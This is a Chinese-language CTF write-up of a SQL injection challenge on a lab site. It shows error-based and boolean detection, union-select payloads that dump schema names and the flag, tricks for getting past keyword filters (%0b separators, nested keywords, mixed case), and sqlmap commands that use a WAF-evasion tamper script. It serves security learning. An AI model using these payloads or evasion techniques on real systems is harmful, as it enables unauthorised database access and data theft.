3.簡單的sql注入

思路:
檢測是否存在注入點的兩種常用方法:(更多注入詳情:Sqli-labs環境通關教程-學習)
1.基于報錯的檢測方法
一般這種方法是輸入單引号’。看是否報錯,如果資料庫報錯,說明背景資料庫處理了我們輸入的資料。那麼有可能存在注
入點。
2.基于布爾的檢測方法---(這隻是最基礎的判斷)
這種方法是輸入:
- 1 and 1=1 ,通常這種情況會正常傳回資料
- 1 and 1=2 ,通常這種情況不會傳回資料或者直接報錯
或者
- 1' and '1'='1 ,通常這種情況會正常傳回資料
- 1' and '1'='2 ,通常這種情況不會傳回資料或者直接報輯
或者 ---(使用雙引号)
如果以上都判斷不出,就要考慮盲注了。
分析:
假如背景處理資料的sq語句(背景在輸入上加了單引号)是:
select name from user where id=' our_ input '
我們輸入1' and '1'='1 , sq語句變為:
select name from user where id='1' and 1'='1'
背景資料庫仍然正常讀取資料.
我們輸入1' and '1'='2 , sq語句變為:
select name from user where id='1' and '1'='2’
這樣查詢條件為假,資料庫不能讀取資料。
初步判斷為單引号字元型注入,然後輸入1 and 1=1 ,可以看到過濾了and并且空格被替換為了+ ,是以我們可以推斷,這個題過濾了常用的sq|指令,可以
輸入union and select from進行下測試,發現果然全被過濾掉了
補充:當空格被過濾時,通常用()或者代替空格
爆資料庫
1'unionselectschema_namefrominformation_schema.schematawhere'1'='1
發現資料庫較多,嘗試直接爆表
1'unionselecttable_namefrominformation_schema.tableswhere'1'='1
表太多了:
不過也暴露出了,我們想要的資料表。
爆字段,然而……報錯了,information_schema.columns被過濾了
1'unionselectcolumn_namefrominformation_schema.columnswhere'1'='1
是以就猜測字段名也是flag,試一下:(做CTF題,思路要活躍)
1'unionselectflagfromflagwhere'1'='1
flag{[email protected]_5O_dAmn_90Od}
其他補充:
我們嘗試單引号:
發現單引号沒有被過濾,然後嘗試邏輯運算,and被過濾了但還好or沒有被過濾:
我們知道他過濾了很多關鍵字:and,select,from,union,where,但我們可以繞過關鍵字,方法有:關鍵字中間加隔斷,,關鍵字中間加%0b隔斷,關鍵字重寫(如:aandnd),大小寫混合,雙空格等等,嘗試後可以繞過,還是按套路,先拿flag做表名和字段名試試:
說明存在flag表,那基本就是老套路了,可以繼續用這個方法驗證,下面我就直接爆flag了:
ps:這裡還有一種檢驗表名是否存在的方式:
注意還可以嘗試這個方法
用‘+‘号來代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t
使用Sqlmap:
來自:https://blog.csdn.net/dongyanwen6036/article/details/77825479
基于windows下的sqlmap:
這裡我們會用到tamper,是Python寫的,sqlmap一般自帶,主要的作用是繞過WAF ,空格被過濾可以使用space2comment.py,過濾系統對大小寫敏感可以使用randomcase.py等等。
這裡用的level參數是執行測試的等級(1-5,預設為1) ,sqlmap預設測試所有的GET和POST參數,當–level的值大于等于2的時候也會測試HTTP Cookie頭的值,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
繼續在web1資料庫中查找
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --table
(注意這裡指令應該是 --tables 而這裡用 --table也能成功,長見識了)
繼續找吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column
接下來就直接看結果吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump